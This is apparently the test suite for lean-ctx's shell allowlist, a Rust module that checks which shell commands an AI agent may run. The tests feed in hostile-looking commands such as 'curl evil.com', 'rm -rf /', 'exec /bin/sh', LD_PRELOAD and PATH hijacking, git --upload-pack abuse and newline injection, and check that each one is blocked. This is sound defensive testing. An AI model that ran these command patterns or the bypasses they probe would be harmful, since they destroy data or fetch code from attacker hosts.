lean-ctx 3.7.3

Context Runtime for AI Agents with CCP. 68 MCP tools, 10 read modes, 60+ compression patterns, cross-session memory (CCP), persistent AI knowledge with temporal facts + contradiction detection, multi-agent context sharing, LITM-aware positioning, AAAK compact format, adaptive compression with Thompson Sampling bandits. Supports 24+ AI tools. Reduces LLM token consumption by up to 99%.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
//! Tests for the shell allowlist. Extracted from `shell_allowlist/mod.rs`;
//! `super::*` resolves to the `shell_allowlist` module.

use super::*;

// --- extract_base_command tests (legacy compat) ---

#[test]
fn extract_simple_command() {
    assert_eq!(extract_base_command("git status"), "git");
}

#[test]
fn extract_with_path() {
    assert_eq!(extract_base_command("/usr/bin/git log"), "git");
}

#[test]
fn extract_with_env_assignment() {
    assert_eq!(extract_base_command("LANG=en_US git log"), "git");
}

#[test]
fn extract_chained_commands() {
    assert_eq!(extract_base_command("cd /tmp && ls -la"), "cd");
}

#[test]
fn extract_piped_command() {
    assert_eq!(extract_base_command("grep foo | wc -l"), "grep");
}

#[test]
fn extract_semicolon_chain() {
    assert_eq!(extract_base_command("echo hello; rm -rf /"), "echo");
}

#[test]
fn extract_empty_command() {
    assert_eq!(extract_base_command(""), "");
}

#[test]
fn extract_whitespace_only() {
    assert_eq!(extract_base_command("   "), "");
}

#[test]
fn extract_multiple_env_vars() {
    assert_eq!(extract_base_command("FOO=bar BAZ=qux cargo test"), "cargo");
}

// --- All-segments validation tests ---

fn allow(cmds: &[&str]) -> Vec<String> {
    cmds.iter().map(std::string::ToString::to_string).collect()
}

#[test]
fn allowlist_empty_always_passes() {
    assert!(check_all_segments("anything", &[]).is_ok());
}

#[test]
fn allowlist_blocks_unlisted() {
    let list = allow(&["git", "cargo"]);
    let result = check_all_segments("npm install", &list);
    assert!(result.is_err());
    assert!(result.unwrap_err().contains("npm"));
}

#[test]
fn allowlist_allows_listed() {
    let list = allow(&["git", "cargo", "npm"]);
    assert!(check_all_segments("git status", &list).is_ok());
    assert!(check_all_segments("cargo test --release", &list).is_ok());
    assert!(check_all_segments("npm run build", &list).is_ok());
}

#[test]
fn allowlist_allows_full_path() {
    let list = allow(&["git"]);
    assert!(check_all_segments("/usr/bin/git status", &list).is_ok());
}

#[test]
fn allowlist_allows_with_env_prefix() {
    let list = allow(&["git"]);
    assert!(check_all_segments("LANG=C git log", &list).is_ok());
}

#[test]
fn allowlist_blocks_similar_names() {
    let list = allow(&["git"]);
    assert!(check_all_segments("gitk --all", &list).is_err());
}

// --- Multi-segment validation (the critical security improvement) ---

#[test]
fn all_segments_must_be_allowed_chain() {
    let list = allow(&["git", "cargo"]);
    // Both allowed → ok
    assert!(check_all_segments("git status && cargo test", &list).is_ok());
    // Second not allowed → block
    assert!(check_all_segments("git status && rm -rf /", &list).is_err());
}

#[test]
fn all_segments_must_be_allowed_pipe() {
    let list = allow(&["git", "grep", "wc"]);
    assert!(check_all_segments("git log | grep fix | wc -l", &list).is_ok());
    // cat not allowed
    assert!(check_all_segments("git log | cat", &list).is_err());
}

#[test]
fn all_segments_must_be_allowed_semicolon() {
    let list = allow(&["echo", "ls"]);
    assert!(check_all_segments("echo hello; ls -la", &list).is_ok());
    assert!(check_all_segments("echo hello; rm -rf /", &list).is_err());
}

#[test]
fn redirect_2to1_not_treated_as_command() {
    // #334: `2>&1` must not be parsed as a standalone command `1`.
    let list = allow(&["pnpm", "echo"]);
    assert!(check_all_segments("pnpm run compile 2>&1", &list).is_ok());
    assert!(check_all_segments("pnpm run build 2>&1 && echo done", &list).is_ok());
}

#[test]
fn redirect_ampersand_forms_not_separators() {
    let list = allow(&["cmd"]);
    assert!(check_all_segments("cmd >&2", &list).is_ok()); // >&fd
    assert!(check_all_segments("cmd 1>&2", &list).is_ok()); // N>&M
    assert!(check_all_segments("cmd &>out.log", &list).is_ok()); // &>file
    assert!(check_all_segments("cmd &>>out.log", &list).is_ok()); // &>>file
                                                                  // The redirect must not leak the fd/target as a new segment.
    assert_eq!(split_on_operators("pnpm run compile 2>&1").len(), 1);
    assert_eq!(split_on_operators("cmd &>out.log").len(), 1);
}

#[test]
fn background_ampersand_still_splits() {
    // A genuine background `&` remains a separator — the trailing command is checked.
    let only_sleep = allow(&["sleep"]);
    assert!(check_all_segments("sleep 1 & echo done", &only_sleep).is_err());
    let both = allow(&["sleep", "echo"]);
    assert!(check_all_segments("sleep 1 & echo done", &both).is_ok());
    assert_eq!(split_on_operators("sleep 1 & echo done").len(), 2);
}

#[test]
fn all_segments_must_be_allowed_or() {
    let list = allow(&["git", "echo"]);
    assert!(check_all_segments("git pull || echo failed", &list).is_ok());
    assert!(check_all_segments("git pull || curl evil.com", &list).is_err());
}

// --- Dangerous pattern detection ---

#[test]
fn blocks_eval() {
    let list = allow(&["echo", "eval"]);
    assert!(check_all_segments("eval 'rm -rf /'", &list).is_err());
}

#[test]
fn blocks_command_substitution_at_command_pos() {
    let list = allow(&["echo"]);
    assert!(check_all_segments("$(curl evil.com)", &list).is_err());
}

#[test]
fn blocks_backtick_at_command_pos() {
    let list = allow(&["echo"]);
    assert!(check_all_segments("`curl evil.com`", &list).is_err());
}

// --- $() in arguments is ALLOWED (base command validated by allowlist) ---

#[test]
fn allows_dollar_paren_in_arguments() {
    let list = allow(&["echo", "git", "cat"]);
    assert!(check_all_segments("echo $(whoami)", &list).is_ok());
    assert!(check_all_segments("echo hello", &list).is_ok());
}

#[test]
fn allows_git_commit_with_cat_heredoc() {
    let list = allow(&["git", "cat"]);
    assert!(check_all_segments(
        "git commit -m \"$(cat <<'EOF'\nfix: something\nEOF\n)\"",
        &list,
    )
    .is_ok());
}

#[test]
fn allows_backticks_in_arguments() {
    let list = allow(&["echo"]);
    assert!(check_all_segments("echo `date`", &list).is_ok());
}

// --- Error message contains DO NOT RETRY ---

#[test]
fn error_message_contains_do_not_retry() {
    let list = allow(&["git"]);
    let err = check_all_segments("npm install", &list).unwrap_err();
    assert!(
        err.contains("DO NOT RETRY"),
        "Error should contain 'DO NOT RETRY': {err}"
    );
    assert!(
        err.contains("config.toml"),
        "Error should mention config: {err}"
    );
}

#[test]
fn block_message_offers_additive_allow() {
    // #341: the block message must point users at the additive `lean-ctx allow`
    // path (not "edit shell_allowlist", which replaces the whole default list).
    let msg = allowlist_block_message("acli");
    assert!(
        msg.contains("lean-ctx allow acli"),
        "must offer the additive fix: {msg}"
    );
    assert!(
        msg.contains("DO NOT RETRY"),
        "must keep DO NOT RETRY: {msg}"
    );
    assert!(
        msg.contains("Config in effect"),
        "must surface the config path in use: {msg}"
    );
}

#[test]
fn error_message_for_dangerous_patterns_contains_do_not_retry() {
    let list = allow(&["echo"]);
    let err = check_all_segments("eval 'bad'", &list).unwrap_err();
    assert!(
        err.contains("DO NOT RETRY"),
        "Error should contain 'DO NOT RETRY': {err}"
    );
}

// --- Issue #294: pre-commit and playwright should work ---

#[test]
fn pre_commit_in_default_allowlist() {
    let defaults = crate::core::config::default_shell_allowlist();
    assert!(
        defaults.contains(&"pre-commit".to_string()),
        "pre-commit must be in default allowlist"
    );
}

#[test]
fn playwright_in_default_allowlist() {
    let defaults = crate::core::config::default_shell_allowlist();
    assert!(
        defaults.contains(&"playwright".to_string()),
        "playwright must be in default allowlist"
    );
}

#[test]
fn pre_commit_run_allowed() {
    let list = allow(&["pre-commit"]);
    assert!(check_all_segments("pre-commit run --all-files", &list).is_ok());
}

#[test]
fn playwright_test_allowed() {
    let list = allow(&["npx", "playwright"]);
    assert!(check_all_segments("playwright test", &list).is_ok());
    assert!(check_all_segments("npx playwright test", &list).is_ok());
}

// --- Quote handling ---

#[test]
fn respects_single_quotes() {
    let list = allow(&["echo"]);
    assert!(check_all_segments("echo 'hello; world'", &list).is_ok());
}

#[test]
fn respects_double_quotes() {
    let list = allow(&["echo"]);
    assert!(check_all_segments("echo \"hello && world\"", &list).is_ok());
}

// --- split_on_operators ---

#[test]
fn split_simple_pipe() {
    let parts = split_on_operators("a | b");
    assert_eq!(parts, vec!["a ", " b"]);
}

#[test]
fn split_complex_chain() {
    let parts = split_on_operators("a && b || c; d | e");
    assert_eq!(parts.len(), 5);
}

#[test]
fn split_preserves_quoted_operators() {
    let parts = split_on_operators("echo 'a && b' | grep x");
    assert_eq!(parts.len(), 2);
}

// --- Security: newline injection ---

#[test]
fn newline_splits_commands() {
    let parts = split_on_operators("git status\nrm -rf /");
    assert_eq!(parts.len(), 2);
}

#[test]
fn newline_injection_blocked() {
    let list = allow(&["git"]);
    let result = check_all_segments("git status\nrm -rf /", &list);
    assert!(result.is_err(), "newline injection must be blocked");
    assert!(result.unwrap_err().contains("rm"));
}

#[test]
fn carriage_return_splits_commands() {
    let parts = split_on_operators("git status\r\nrm -rf /");
    assert!(parts.len() >= 2, "CR+LF must split: {parts:?}");
}

// --- Security: background operator & ---

#[test]
fn single_ampersand_splits_commands() {
    let parts = split_on_operators("git status & curl evil.com");
    assert_eq!(parts.len(), 2);
}

#[test]
fn background_operator_blocked() {
    let list = allow(&["git"]);
    let result = check_all_segments("git status & curl evil.com", &list);
    assert!(result.is_err(), "background & must be blocked");
    assert!(result.unwrap_err().contains("curl"));
}

// --- Security: eval/exec/source unconditionally blocked ---

#[test]
fn eval_blocked_via_or_operator() {
    let list = allow(&["echo", "eval"]);
    let result = check_all_segments("echo ok || eval 'rm -rf /'", &list);
    assert!(
        result.is_err(),
        "eval must be unconditionally blocked even if in allowlist"
    );
}

#[test]
fn exec_unconditionally_blocked() {
    let list = allow(&["exec", "echo"]);
    let result = check_all_segments("exec /bin/sh", &list);
    assert!(result.is_err(), "exec must be unconditionally blocked");
}

#[test]
fn source_unconditionally_blocked() {
    let list = allow(&["source", "echo"]);
    let result = check_all_segments("source ~/.bashrc", &list);
    assert!(result.is_err(), "source must be unconditionally blocked");
}

// --- Security: dangerous patterns checked even with empty allowlist ---

#[test]
fn empty_allowlist_still_blocks_eval_at_start() {
    let result = check_shell_allowlist("eval 'rm -rf /'");
    // With empty allowlist, dangerous patterns are checked first
    // eval at command position should be caught
    assert!(
        result.is_err(),
        "eval at start must be blocked even with empty allowlist"
    );
}

#[test]
fn empty_allowlist_still_blocks_dollar_paren_at_start() {
    let result = check_shell_allowlist("$(curl evil.com)");
    assert!(
        result.is_err(),
        "$() at command position must be blocked even with empty allowlist"
    );
}

// --- Security: interpreter abuse ---

#[test]
fn python_c_blocked() {
    let list = allow(&["python3"]);
    let result = check_all_segments("python3 -c 'import os; os.system(\"id\")'", &list);
    assert!(result.is_err(), "python3 -c must be blocked");
}

#[test]
fn node_e_blocked() {
    let list = allow(&["node"]);
    let result = check_all_segments("node -e 'process.exit(1)'", &list);
    assert!(result.is_err(), "node -e must be blocked");
}

#[test]
fn python_script_allowed() {
    let list = allow(&["python3"]);
    let result = check_all_segments("python3 script.py", &list);
    assert!(result.is_ok(), "python3 with script file must be allowed");
}

#[test]
fn env_delegates_to_unlisted_blocked() {
    let list = allow(&["env", "git"]);
    let result = check_all_segments("env /bin/sh -c 'id'", &list);
    assert!(
        result.is_err(),
        "env delegating to unlisted command must be blocked"
    );
}

#[test]
fn env_delegates_to_listed_allowed() {
    let list = allow(&["env", "git"]);
    let result = check_all_segments("env git status", &list);
    assert!(
        result.is_ok(),
        "env delegating to listed command must be allowed"
    );
}

// --- Security: env override is additive ---

#[test]
fn env_override_is_additive() {
    let base_list = crate::core::config::default_shell_allowlist();
    assert!(base_list.contains(&"git".to_string()));
}

// --- Phase 1 V2: SAFE checks ---

#[test]
fn dot_source_alias_blocked() {
    let list = allow(&["echo"]);
    let result = check_all_segments(". ~/.bashrc", &list);
    assert!(result.is_err(), ". (source alias) must be blocked");
}

#[test]
fn backslash_newline_normalized() {
    let normalized = normalize_line_continuations("echo ok && \\\ncurl evil");
    assert!(
        !normalized.contains('\n'),
        "backslash-newline must be removed"
    );
    assert!(
        normalized.contains("curl"),
        "content after continuation must be preserved"
    );
}

#[test]
fn delegation_recursive_interpreter_check() {
    let list = allow(&["env", "python3"]);
    let result = check_all_segments("env python3 -c 'import os'", &list);
    assert!(
        result.is_err(),
        "env python3 -c must be blocked via recursive check"
    );
}

#[test]
fn delegation_recursive_normal_allowed() {
    let list = allow(&["env", "git"]);
    let result = check_all_segments("env git status", &list);
    assert!(result.is_ok(), "env git status must be allowed");
}

#[test]
fn eval_flags_extended_r() {
    let list = allow(&["php"]);
    let result = check_all_segments("php -r 'system(\"id\")'", &list);
    assert!(result.is_err(), "php -r must be blocked");
}

#[test]
fn eval_flags_extended_p() {
    let list = allow(&["node"]);
    let result = check_all_segments("node -p 'process.exit(1)'", &list);
    assert!(result.is_err(), "node -p must be blocked");
}

#[test]
fn combined_flags_pe_blocked() {
    let list = allow(&["perl"]);
    let result = check_all_segments("perl -pe 's/foo/bar/'", &list);
    assert!(result.is_err(), "perl -pe must be blocked (combined flag)");
}

#[test]
fn combined_flags_ne_blocked() {
    let list = allow(&["perl"]);
    let result = check_all_segments("perl -ne 'print'", &list);
    assert!(result.is_err(), "perl -ne must be blocked (combined flag)");
}

#[test]
fn heredoc_to_interpreter_blocked() {
    let list = allow(&["python3"]);
    let result = check_all_segments("python3 <<'EOF'", &list);
    assert!(result.is_err(), "heredoc to interpreter must be blocked");
}

#[test]
fn python_script_file_still_allowed() {
    let list = allow(&["python3"]);
    assert!(check_all_segments("python3 script.py", &list).is_ok());
    assert!(check_all_segments("python3 -u script.py", &list).is_ok());
}

#[test]
fn bare_interpreter_detection() {
    assert!(is_bare_interpreter_stdin("python3"));
    assert!(is_bare_interpreter_stdin("python3 -u"));
    assert!(!is_bare_interpreter_stdin("python3 script.py"));
    assert!(!is_bare_interpreter_stdin("python3 -u script.py"));
}

// --- Phase 1 V2: WARN-FIRST checks (default = command passes through) ---

#[test]
fn dollar_paren_in_args_passes_by_default() {
    let list = allow(&["echo", "git", "cat"]);
    assert!(
        check_all_segments("echo $(whoami)", &list).is_ok(),
        "$() in args must still pass when shell_strict_mode=false (default)"
    );
}

#[test]
fn backticks_in_args_passes_by_default() {
    let list = allow(&["echo"]);
    assert!(
        check_all_segments("echo `date`", &list).is_ok(),
        "backticks in args must still pass when shell_strict_mode=false"
    );
}

#[test]
fn git_commit_with_subst_passes_by_default() {
    let list = allow(&["git", "cat"]);
    assert!(
        check_all_segments(
            "git commit -m \"$(cat <<'EOF'\nfix: something\nEOF\n)\"",
            &list,
        )
        .is_ok(),
        "git commit with $() must still pass (regression test)"
    );
}

// --- Empty allowlist + unconditional blocked ---

// --- Phase 6: Dangerous flag detection ---

#[test]
fn git_status_allowed() {
    let list = allow(&["git"]);
    assert!(check_all_segments("git status", &list).is_ok());
}

#[test]
fn git_upload_pack_blocked() {
    let list = allow(&["git"]);
    let result = check_all_segments("git --upload-pack=\"evil\" clone repo", &list);
    assert!(result.is_err(), "git --upload-pack must be blocked");
}

#[test]
fn git_config_sshcommand_blocked() {
    let list = allow(&["git"]);
    let result = check_all_segments("git --config=core.sshcommand=\"evil\" clone repo", &list);
    assert!(
        result.is_err(),
        "git --config=core.sshcommand must be blocked"
    );
}

#[test]
fn tar_extract_allowed() {
    let list = allow(&["tar"]);
    assert!(check_all_segments("tar xf archive.tar", &list).is_ok());
}

#[test]
fn tar_to_command_blocked() {
    let list = allow(&["tar"]);
    let result = check_all_segments("tar xf a.tar --to-command=evil", &list);
    assert!(result.is_err(), "tar --to-command must be blocked");
}

#[test]
fn find_name_allowed() {
    let list = allow(&["find"]);
    assert!(check_all_segments("find . -name \"*.rs\"", &list).is_ok());
}

#[test]
fn find_exec_blocked() {
    let list = allow(&["find"]);
    let result = check_all_segments("find . -exec curl evil \\;", &list);
    assert!(result.is_err(), "find -exec must be blocked");
}

#[test]
fn awk_system_blocked() {
    let list = allow(&["awk"]);
    let result = check_all_segments("awk '{system(\"id\")}'", &list);
    assert!(result.is_err(), "awk system() must be blocked");
}

#[test]
fn awk_normal_allowed() {
    let list = allow(&["awk"]);
    assert!(check_all_segments("awk '{print $1}'", &list).is_ok());
}

#[test]
fn inline_path_env_blocked() {
    let list = allow(&["git"]);
    let result = check_all_segments("PATH=/tmp/evil git status", &list);
    assert!(result.is_err(), "PATH= inline env must be blocked");
}

#[test]
fn inline_ld_preload_blocked() {
    let list = allow(&["ls"]);
    let result = check_all_segments("LD_PRELOAD=/tmp/evil.so ls", &list);
    assert!(result.is_err(), "LD_PRELOAD= inline env must be blocked");
}

#[test]
fn echo_path_in_quotes_allowed() {
    let list = allow(&["echo"]);
    assert!(
        check_all_segments("echo \"PATH=test\"", &list).is_ok(),
        "PATH inside quotes is not an inline env assignment"
    );
}

// --- Empty allowlist + unconditional blocked ---

#[test]
fn empty_allowlist_blocks_dot_source() {
    let result = check_shell_allowlist(". /tmp/evil.sh");
    assert!(
        result.is_err(),
        ". must be blocked even with empty allowlist"
    );
}

#[test]
fn unicode_line_separators_normalized() {
    let normalized = normalize_line_continuations("echo ok\u{2028}curl evil");
    assert!(
        normalized.contains('\n'),
        "U+2028 must be normalized to newline"
    );
}

#[test]
fn unicode_paragraph_separator_normalized() {
    let normalized = normalize_line_continuations("echo ok\u{2029}curl evil");
    assert!(
        normalized.contains('\n'),
        "U+2029 must be normalized to newline"
    );
}

#[test]
fn empty_allowlist_blocks_exec() {
    let result = check_shell_allowlist("exec /bin/sh");
    assert!(
        result.is_err(),
        "exec must be blocked even with empty allowlist"
    );
}

// --- shell_tokenize tests ---

#[test]
fn tokenize_simple() {
    assert_eq!(shell_tokenize("git status"), vec!["git", "status"]);
}

#[test]
fn tokenize_double_quoted_path_with_spaces() {
    let tokens = shell_tokenize(r#"git -C "Program Files/repo" status"#);
    assert_eq!(tokens, vec!["git", "-C", "Program Files/repo", "status"]);
}

#[test]
fn tokenize_single_quoted_windows_path() {
    let tokens = shell_tokenize(r"git -C 'C:\Program Files\repo' status");
    assert_eq!(
        tokens,
        vec!["git", "-C", r"C:\Program Files\repo", "status"]
    );
}

#[test]
fn tokenize_single_quoted() {
    let tokens = shell_tokenize("echo 'hello world' done");
    assert_eq!(tokens, vec!["echo", "hello world", "done"]);
}

#[test]
fn tokenize_backslash_escape() {
    let tokens = shell_tokenize(r"echo hello\ world");
    assert_eq!(tokens, vec!["echo", "hello world"]);
}

#[test]
fn tokenize_empty() {
    assert!(shell_tokenize("").is_empty());
    assert!(shell_tokenize("   ").is_empty());
}

#[test]
fn tokenize_mixed_quotes() {
    let tokens = shell_tokenize(r#"cmd "arg one" 'arg two' arg3"#);
    assert_eq!(tokens, vec!["cmd", "arg one", "arg two", "arg3"]);
}

// --- quote_aware_token_end tests ---

#[test]
fn token_end_simple() {
    assert_eq!(quote_aware_token_end("foo bar"), 3);
}

#[test]
fn token_end_double_quoted() {
    assert_eq!(quote_aware_token_end(r#""foo bar" baz"#), 9);
}

#[test]
fn token_end_single_quoted() {
    assert_eq!(quote_aware_token_end("'foo bar' baz"), 9);
}

#[test]
fn token_end_entire_string() {
    assert_eq!(quote_aware_token_end("foobar"), 6);
}

#[test]
fn token_end_env_with_quoted_value() {
    assert_eq!(quote_aware_token_end(r#"FOO="bar baz" git"#), 13);
}

// --- skip_env_assignments with quoted values ---

#[test]
fn skip_env_quoted_value_with_spaces() {
    let result = skip_env_assignments(r#"FOO="bar baz" git status"#);
    assert_eq!(result.trim(), "git status");
}

#[test]
fn skip_env_multiple_assignments() {
    let result = skip_env_assignments(r#"A=1 B="two three" cargo test"#);
    assert_eq!(result.trim(), "cargo test");
}

// --- extract_base_from_segment with quoted commands ---

#[test]
fn extract_base_quoted_path() {
    let r = extract_base_from_segment(r#""/usr/local/bin/git" status"#);
    assert_eq!(r, "git");
}

// --- security checks with quoted paths ---

#[test]
fn interpreter_check_with_quoted_path() {
    let list = allow(&["python3"]);
    let r = check_all_segments(r#"python3 "/path/with spaces/script.py""#, &list);
    assert!(r.is_ok(), "quoted path to script should be allowed");
}

#[test]
fn dangerous_flags_git_quoted_path() {
    let list = allow(&["git"]);
    let r = check_all_segments(r#"git -C "C:\Program Files\repo" status"#, &list);
    assert!(r.is_ok(), "git -C with quoted path should be allowed");
}